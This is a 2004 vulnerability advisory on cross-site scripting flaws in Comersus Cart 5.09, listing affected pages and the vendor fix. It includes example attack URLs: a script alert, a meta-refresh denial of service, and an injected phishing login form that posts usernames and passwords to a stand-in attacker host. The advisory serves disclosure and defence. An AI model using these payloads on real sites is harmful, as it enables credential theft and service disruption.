Release Date:
July 6, 2004
Severity:
High
Vendor:
Comersus Open Technologies
Software:
Tested on Comersus Cart 5.09
Previous versions may also be affected.
Remote:
Remotely executed from any web browser
Vulnerabilities:
Cross Site Scripting
Technical Details:
The malicious user is able to compromise the parameters to invoke a Cross-Site Scripting attack.
This can be used to take advantage of the trust between a client and server allowing the malicious
user to execute malicious JavaScript on the client’s machine or perform a denial of service shutting down IIS.
Pages Affected:
/comersus/store/comersus_customerAuthenticateForm.asp
/comersus/backofficeLite/comersus_backoffice_message.asp
/comersus/store/comersus_supportError.asp
/comersus/store/comersus_message.asp
Examples of Currently Fixed according to Vendor:
Cross Site Scripting
------------------------
http://[VICTIM]/comersus/backofficeLite/comersus_backoffice_message.asp?message=<script>alert("VULNERABLE_TO_XSS")</script>
Denial of Service
----------------------
http://[VICTIM]/comersus/store/comersus_message.asp?message=<meta%20http-equiv='refresh'content='0'>
Phishing Scam
----------------------
http://[VICTIM]/comersus/store/comersus_message.asp?message=<form%20action="http://www.evilhacker.com/save2db.asp"
%20method="post">Username:<input%20name="username"%20type="text"%20maxlength="30"><br>
Password:<input%20name="password"%20type="text"%20maxlength="30">
<br><input%20name="login"%20type="submit"%20value="Login"></form>
Vendor Status:
Update to 5.098
http://www.comersus.com/
Advisory:
http://www.providesecurity.com/research/advisories/07062004-01.asp
Credit:
Discovered By: Thomas Ryan
Provide Security
Copyright © 2004 Provide Security
Permission is hereby granted for the redistribution of this alert electronically.
It is not to be edited in any way without the expressed written consent of Provide Security.
If you wish to reprint the whole or any part of this advisory in any other medium excluding
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Disclaimer
The information within this paper may change without notice.
Use of this information constitutes acceptance for use in an AS IS condition.
There are no warranties, implied or express, with regard to this information.
In no event shall the author be liable for any direct or indirect damages whatsoever
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Any use of this information is at the user's own risk.
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